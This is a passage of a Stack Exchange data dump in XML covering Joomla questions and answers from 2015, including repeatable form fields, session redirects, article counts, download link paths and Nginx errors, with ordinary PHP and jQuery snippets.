&amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That works if I set the values for one row. But If I enter values for a second, each click of the »select« button redirects out of the edit screen, to the overview page of the template styles…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Help would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just had a look in the database where the JSON string is stored correctly. So I replaced the compressed js version of &lt;code&gt;/media/system/js/repeatable.js&lt;/code&gt; with the uncompressed version and stepped through with firebug. Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The javascript error is thrown in line 185:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('select').chosen({&#xA;    disable_search_threshold : 10,&#xA;    allow_single_deselect : true&#xA;});&#xA;&#xA;TypeError: $(...).chosen is not a function&#xA;http://xxx/media/system/js/repeatable.js&#xA;Line 185&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT #2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just commented out the lines show above (185 - 188) and it works!&lt;/p&gt;&#xA;" OwnerUserId="2246" LastEditorUserId="2246" LastEditDate="2015-02-10T10:26:13.587" LastActivityDate="2015-02-10T10:26:13.587" Title="JFormFieldRepeatable—can store only one row" Tags="|jform|form-fields-types|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7538" PostTypeId="1" CreationDate="2015-02-09T19:23:59.447" Score="5" ViewCount="626" Body="&lt;p&gt;How can I modify the standard url after session time out?&lt;br&gt;&#xA;'&lt;a href=&quot;http://www.domain.com/component/users/?view=login&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/component/users/?view=login&lt;/a&gt;'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loginform module for my frontend is deactivated. Instead there is a custom login form (with a custom login procedure). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine except the problem, that Joomla redirects after session time out to its standard login url.&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="126" LastEditDate="2016-01-21T23:36:01.887" LastActivityDate="2016-01-21T23:36:01.887" Title="Modify standard redirect url after session time out" Tags="|joomla-3.x|url|session|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7539" PostTypeId="2" ParentId="7537" CreationDate="2015-02-09T20:00:07.530" Score="1" Body="&lt;p&gt;There are a few outstanding issues with the repeatable form in Joomla. I had a quick look into it and it seems like a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best advice I can give you is to get involved into testing pending issues (see &lt;a href=&quot;http://issues.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;http://issues.joomla.org/&lt;/a&gt;) or to check if it was not already fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think you can fix this, submit a pull request on GitHub.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-02-09T20:00:07.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7540" PostTypeId="2" ParentId="7527" CreationDate="2015-02-09T22:20:46.780" Score="1" Body="&lt;p&gt;You can certainly have a successful secure blog with 5 or less extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your definition of a blog, the only thing that might need to be added is a comments extension of which there are plenty to choose from: &lt;a href=&quot;http://extensions.joomla.org/category/contacts-and-feedback/articles-comments&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/category/contacts-and-feedback/articles-comments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brian Teeman's blog is a good example of using (almost) native Joomla for a blog. For details, see: &lt;a href=&quot;https://brian.teeman.net/joomla/784-native-joomla-2-5-blog-site&quot; rel=&quot;nofollow&quot;&gt;https://brian.teeman.net/joomla/784-native-joomla-2-5-blog-site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend installing an extension for backups and implementing a web application firewall on every site for backup and security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also consider installing a third party template. Depending on whether the template includes social networking buttons, you might consider adding an extension to make it easy for visitors to share content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, the 5 extensions I recommend adding are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;comments e.g. JComments&lt;/li&gt;&#xA;&lt;li&gt;backup e.g. Akeeba Backup&lt;/li&gt;&#xA;&lt;li&gt;web application firewall e.g. Akeeba Admin Tools Pro&lt;/li&gt;&#xA;&lt;li&gt;third party template&lt;/li&gt;&#xA;&lt;li&gt;social networking e.g. CoalaWeb Social Links&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-02-09T22:20:46.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7543" PostTypeId="2" ParentId="998" CreationDate="2015-02-10T06:18:08.170" Score="0" Body="&lt;p&gt;Try this!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session   =&amp;amp; JFactory::getSession();&#xA;&#xA;$mainframe = JFactory::getApplication('site');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3688" LastActivityDate="2015-02-10T06:18:08.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7544" PostTypeId="2" ParentId="4101" CreationDate="2015-02-10T09:05:05.980" Score="0" Body="&lt;p&gt;First, you have done the correct steps to remove the index.php, there is just something wrong so that the sef does not work. This is actually perfectly normal directly after you change to sef links. There are several possible reasons...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You do not have an Apache server or it does not have mod_rewrite&#xA;enabled and .htaccess does nothing. You probably would have noticed,&#xA;but included for completeness. And many localhost web development&#xA;environments (such as WAMPserver) DO default to mod_rewrite being&#xA;disabled.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to rebuild your sef data in the menu manager. Just click rebuild. No idea why it doesn't update automatically.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your menu module did not update properly due to cache. Clear all&#xA;caches. This is what I usually run into as the menu is integrated to&#xA;the template and the template caches extensively. You should also click F5 twice to force the browser to reload everything.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-02-10T09:05:05.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7545" PostTypeId="1" CreationDate="2015-02-10T11:01:09.920" Score="4" ViewCount="2098" Body="&lt;p&gt;I have two step verification set up on a particular website which works well in most cases. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However upon checking my registered users I notice that there are quite a few that are marked as 'unactivated'. This is most likely because they have not clicked the 'verify your email' link. Either due to them forgetting or the email has possibly gone into their junk folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These registrations are now stuck and more or less useless as I have no way of reminding the users other than manually sending an email to each of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like a way to send a 'reminder' to these users that they have to verify their email, is this possible? I haven't tried anything yet, however I was thinking of one of the following;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;another button in the admin area (resend activation email)&lt;/li&gt;&#xA;&lt;li&gt;a page with a single input box 'enter your email we will resend you the activation link'&lt;/li&gt;&#xA;&lt;li&gt;a cron job&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have seen a few plugins however none of them seem to offer this feature. Maybe I am missing something but it seems like this feature would have been requested and incorporated previously?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions welcome.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-08-14T11:12:24.273" Title="Resend registration email / reminder" Tags="|joomla-3.x|emails|registration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7546" PostTypeId="2" ParentId="7538" CreationDate="2015-02-10T11:08:47.077" Score="3" Body="&lt;p&gt;You could write a template override for the login template being called when the standard login url is displayed. There you create a &lt;code&gt;HTTP 302 Move&lt;/code&gt; response status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you write a url rewrite to your &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both solutions could get you where you wanna be, but I would consider them 'dirty'.&lt;/p&gt;&#xA;" OwnerUserId="3605" LastActivityDate="2015-02-10T11:08:47.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7547" PostTypeId="1" CreationDate="2015-02-10T11:28:11.867" Score="1" ViewCount="256" Body="&lt;p&gt;Is it possible to customize / add new options to the back office module advanced tab?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We already have &quot;bootstrap size&quot; option, but since now I'm using Bootstrap 3 I want to use 2 more extra fields for tablet and phone sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the solution is to override the model function preprocessForm() under /administrator/components/com_modules/models/module.php and add a new line to load an extra xml..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? how can I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Pestana&lt;/p&gt;&#xA;" OwnerUserId="3690" LastEditorUserId="3690" LastEditDate="2015-02-16T10:03:33.330" LastActivityDate="2015-02-16T10:03:33.330" Title="Edit Module Bootstrap size to match bootstrap 3" Tags="|module|overrides|bootstrap|twitter-bootstrap-3|" AnswerCount="0" CommentCount="3" ClosedDate="2015-02-11T18:32:32.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="7548" PostTypeId="1" AcceptedAnswerId="7549" CreationDate="2015-02-10T13:55:13.447" Score="-1" ViewCount="218" Body="&lt;p&gt;I want to customize and design the view page for articles   I also want to add related articles module and move next and previous articles on the article page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise...&lt;/p&gt;&#xA;" OwnerUserId="3676" LastEditorUserId="64" LastEditDate="2015-08-08T00:36:22.730" LastActivityDate="2015-08-08T00:36:22.730" Title="How can I customize/design the View Article page" Tags="|joomla-3.x|module|articles|overrides|template-override|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7549" PostTypeId="2" ParentId="7548" CreationDate="2015-02-10T14:01:32.017" Score="5" Body="&lt;p&gt;If you would like to change the structure/styling for an Article view, you need to create a Template Override, all of which is explained here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;noreferrer&quot;&gt;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template overrides allow us to edit the view of an extension without editing the core file which may get overridden in an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So once you have you override done, you can now edit:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ROOT/templates/YOUR_TEMPLATE/html/com_content/article/default.php  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-10T14:01:32.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7550" PostTypeId="2" ParentId="7527" CreationDate="2015-02-10T15:56:25.663" Score="1" Body="&lt;p&gt;You can use K2 for blogs, too. It's lightning fast and you can use it with K2Booster to enhance speed even more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will list 5 extensions here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;K2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;JFB Connect (social integration)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;K2 Booster (plugin to increase performances of K2)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;JCE Editor (great editor for Joomla, it will help you when writing&#xA;articles)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;JCH Optimize (best plugin to optimize all the website with a very&#xA;simple configuration)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2015-02-10T15:56:25.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7551" PostTypeId="2" ParentId="7497" CreationDate="2015-02-10T16:03:45.530" Score="2" Body="&lt;p&gt;Did you try a custom html module with the following: &lt;code&gt;{loadposition your-position-here}&lt;/code&gt;?&#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{loadposition header-x}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you will load the modules in the position &quot;header-x&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3530" LastEditorUserId="22" LastEditDate="2015-02-10T17:03:30.420" LastActivityDate="2015-02-10T17:03:30.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7555" PostTypeId="1" CreationDate="2015-02-11T08:24:06.113" Score="0" ViewCount="635" Body="&lt;p&gt;I have menu item that has &quot;section type&quot; and child menu item item with &quot;article type&quot;. I didn't want to have pagination in child menu item, so set param show_pagination to 0. Unexpectedly pagination is still enabled. I was debugging params and explored that Joomla! method &lt;code&gt;JSite::getMenu()-&amp;gt;getActive()&lt;/code&gt; loads parent menu id, not child! It also loads parent params. I can't get rid of that.&lt;/p&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2015-03-13T09:05:10.923" Title="Menu getActive() method returns parent menu id" Tags="|menu|menu-item|joomla-1.5|menu-parameters|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7557" PostTypeId="2" ParentId="7555" CreationDate="2015-02-11T09:03:50.913" Score="1" Body="&lt;p&gt;Solved. Problem was caused by JoomSEF component. Alias had wrong Itemid...&lt;/p&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2015-02-11T09:03:50.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7560" PostTypeId="1" CreationDate="2015-02-11T14:40:05.740" Score="3" ViewCount="2668" Body="&lt;p&gt;I wanted to get the number of articles inside category id=13.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this with PHP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been searching and nothing.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2015-02-11T15:20:55.497" Title="Get number of articles inside category" Tags="|articles|category|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7561" PostTypeId="2" ParentId="7560" CreationDate="2015-02-11T14:49:44.473" Score="2" Body="&lt;p&gt;You can ask via SQL. It should be something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('COUNT(*)');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__content'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('catid').&quot; = 13&quot;;&#xA;&#xA;// Reset the query using our newly populated query object.&#xA;$db-&amp;gt;setQuery($query);&#xA;$count = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This code is modified and from &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#loadResult.28.29&quot; rel=&quot;nofollow&quot;&gt;this source&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably also want to check whether the articles are published and/or visible by the user.&lt;/p&gt;&#xA;" OwnerUserId="3605" LastActivityDate="2015-02-11T14:49:44.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7562" PostTypeId="2" ParentId="7560" CreationDate="2015-02-11T15:20:55.497" Score="1" Body="&lt;p&gt;Try the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Articles', 'ContentModel');&#xA;$model-&amp;gt;setState('filter.category_id', 13); // Set category ID here&#xA;$articles = $model-&amp;gt;getItems();&#xA;&#xA;$num_articles = count($articles); // Returns the number of articles in category&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$num_articles&lt;/code&gt; will contain the number of articles in the given category (not including subcategories).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-11T15:20:55.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7565" PostTypeId="2" ParentId="5128" CreationDate="2015-02-11T17:05:45.863" Score="1" Body="&lt;p&gt;I ran into this just a few days ago. If you remake the menu item at the top level, then shift all the childs into it, this problem goes away, for all time. It's something where the alias and the menu item id are tied together and confuddled. New menu item id, problem goes away. I know that's a lot of work - but if you do it once, then it's fixed.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2015-02-11T17:05:45.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7567" PostTypeId="1" CreationDate="2015-02-11T23:40:18.037" Score="2" ViewCount="351" Body="&lt;p&gt;I got a little annoying issue about joomla tooltips for 'Edit Article' button in frontend showing  &amp;lt; br /&gt; tags inside them instead of creating line breaks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what's causing this tooltip issue?&lt;br /&gt;&#xA;This seems to occur on all my joomla sites, included a fresh  one running in Protostar template.&#xA;So I don't know if it's a common issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a fix to solve it so that the tooltip will show correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that instead of showing:&lt;br /&gt;&#xA;Published&amp;lt; br /&gt;Day, dd-mm-YYYY&amp;lt; br /&gt;Written by Author&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is to show like this:&lt;br /&gt;&#xA;Published&lt;br /&gt;Day,month,year&lt;br /&gt;Written by Author&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot:&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eKI2t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2005" LastActivityDate="2016-05-17T18:21:19.817" Title="Joomla tooltip showing &lt; br /&gt; tags issue" Tags="|joomla-3.3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7570" PostTypeId="2" ParentId="7567" CreationDate="2015-02-12T08:07:04.200" Score="1" Body="&lt;p&gt;I believe this is an issue with Joomla itself and not your fault, therefore the best thing to do would be to post an issue on the &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues&quot; rel=&quot;nofollow&quot;&gt;Github Issue Tracker&lt;/a&gt; for the Joomla CMS so it may get fixed in the next update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, hopefully someone will create a PR for the issue and/or a temporary fix.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="22" LastEditDate="2015-02-12T08:35:06.810" LastActivityDate="2015-02-12T08:35:06.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7571" PostTypeId="1" CreationDate="2015-02-12T10:10:44.113" Score="0" ViewCount="606" Body="&lt;p&gt;I am using this code to disable fields in the form based from what I have searched in stackoverflow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#reportFilters').children(':input').prop(&quot;disabled&quot;, &quot;disabled&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does joomla have something to do with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this on a single field and this worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    jQuery('#jform_id_5').prop(&quot;disabled&quot;,&quot;disabled&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It worked for a single field. However, the reason I want to use the fieldset is because fields under the fieldset are dynamically generated. They are not pre-defined in the view. For example I have  different reports with different filters, each filter is a different input field.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2015-02-12T10:10:44.113" Title="How to disable fields in a fieldset?" Tags="|joomla-3.x|javascript|jquery|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7574" PostTypeId="1" CreationDate="2015-02-12T11:00:01.063" Score="1" ViewCount="170" Body="&lt;p&gt;I develop a small custom feature where i load images with ajax, my question is, how can i load hikashop framework and image tools in my external file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried directly to load file from /com_hikashop/hikashop.php, but i this don't work.&lt;/p&gt;&#xA;" OwnerUserId="1952" LastActivityDate="2015-02-12T19:14:57.890" Title="Load hikashop framework in a external file?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7575" PostTypeId="1" AcceptedAnswerId="7577" CreationDate="2015-02-12T11:24:23.483" Score="1" ViewCount="84" Body="&lt;p&gt;I have a file to be downloaded in a list. here is the link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;a href=&quot; &amp;lt;?php echo $filepath; ?&amp;gt;&quot;&amp;gt; download &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however when I hover on the download link, it displays this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;192.168.3.43/index.php/component/subscription/hello.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the $filepath variable only contains 'hello.txt'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that happening? because of that, the web application misinterprets the file as a view of the component. I am getting frustrated..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the link download only displays if it verifies the file exists. The hello.txt file is located on the directory of the apache server. If it does not find the file, the download link will not show. Since the download link was displayed, it was able to find the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the image for reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wplb1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2015-02-12T14:44:32.023" Title="File being downloaded was concatenated with component path" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7576" PostTypeId="2" ParentId="7575" CreationDate="2015-02-12T12:19:55.173" Score="0" Body="&lt;p&gt;That is a relative link, so the browser interprets it relative to the address of the page, presumably 192.168.3.43/index.php/component/subscription/. Convert it to an absolute link.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-02-12T12:19:55.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7577" PostTypeId="2" ParentId="7575" CreationDate="2015-02-12T14:44:32.023" Score="2" Body="&lt;p&gt;The way you're creating your link gives you no control as to where the browser should look for the file. Your generated link is a &lt;a href=&quot;http://compugoddess.com/relative-vs-absolute-links/&quot; rel=&quot;nofollow&quot;&gt;relative link&lt;/a&gt;, meaning that the browser will look for the file in the current location. So if your current URL is &lt;code&gt;http://example.com/index.php/component/subscription/&lt;/code&gt;, the file will be looked for in &lt;code&gt;http://example.com/index.php/component/subscription/hello.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to get around this, depending on your needs. Let's say the file is located on your server in the &lt;code&gt;JOOMLAROOT/mydownloads/&lt;/code&gt; directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://example.com/mydownloads/&amp;lt;?php echo $filepath; ?&amp;gt;&quot;&amp;gt; download &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will work, but only if the domain is always the same. If you move your site or change domain, the link will break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/mydownloads/&amp;lt;?php echo $filepath; ?&amp;gt;&quot;&amp;gt; download &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first &lt;code&gt;/&lt;/code&gt; will tell your browser to start looking from the top domain, whatever that is. The advantage is that it will work even if you change domains. The &lt;em&gt;disadvantage&lt;/em&gt; is that if your Joomla installation is located in a subfolder of your domain (&lt;a href=&quot;http://example.com/joomla&quot; rel=&quot;nofollow&quot;&gt;http://example.com/joomla&lt;/a&gt;), the link will still point to &lt;code&gt;http://example.com/mydownloads/hello.txt&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 3 (preferred method)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JURI::base() ?&amp;gt;mydownloads/&amp;lt;?php echo $filepath; ?&amp;gt;&quot;&amp;gt; download &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/JURI/base&quot; rel=&quot;nofollow&quot;&gt;JURI::base()&lt;/a&gt; returns the complete path of your Joomla installation, whatever domain or subfolder it's located in. Using this method, you can generate an absolute link that always works. Note that the URI returned has a trailing &quot;/&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-12T14:44:32.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7578" PostTypeId="2" ParentId="7496" CreationDate="2015-02-12T16:03:32.857" Score="1" Body="&lt;p&gt;I sorted this - in the &quot;Checkout&quot; tab in Virtuemart's &quot;Configuration&quot; section where you define at what state of order (pending, confirmed etc) is sent to the admin, you should put in &quot;pending&quot; which sends the e-mail to the admin. However it doesn't work in the Customer bit.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-02-12T16:03:32.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7579" PostTypeId="1" AcceptedAnswerId="17114" CreationDate="2015-02-12T17:16:17.060" Score="1" ViewCount="2520" Body="&lt;p&gt;I'm migrating my Joomla! application from a NGinx (cache) + Apache (php) server to a Nginx + PHP-FPM Fast CGI one.  When testing the different parts of it, I found that when the backend (administrator) threw an error (i.e. Could not write that file and so on) Nginx responded with a 502 Bad Gateway error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2426/nginx-502-in-administrator&quot;&gt;Nginx 502 in Administrator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the solution there was to fix the problem causing the error rather than solving the Bad Gateway problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to locate the real problem and reached to PHP responding with this as status header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Status &quot;0 Could not write file&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that Nginx is trying to map that header to a HTTP status code and then failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea on how to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen error_page directive&lt;/p&gt;&#xA;&#xA;&lt;p&gt;nginx.org/en/docs/http/ngx_http_core_module.html#error_page &lt;/p&gt;&#xA;&#xA;&lt;p&gt;on nginx along with fastcgi_intercept_errors &lt;/p&gt;&#xA;&#xA;&lt;p&gt;nginx.org/en/docs/http/ngx_http_fastcgi_module.html#fastcgi_intercept_errors &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and with  proxy_intercept_errors &lt;/p&gt;&#xA;&#xA;&lt;p&gt;nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;, but as the header is wrong I think I can't handle it on Nginx (also seems to control only status codes over 300)&lt;/p&gt;&#xA;" OwnerUserId="3519" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-07-11T07:05:46.047" Title="Joomla Administrator Bad Gateway 502 on error" Tags="|administrator|configuration|nginx|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
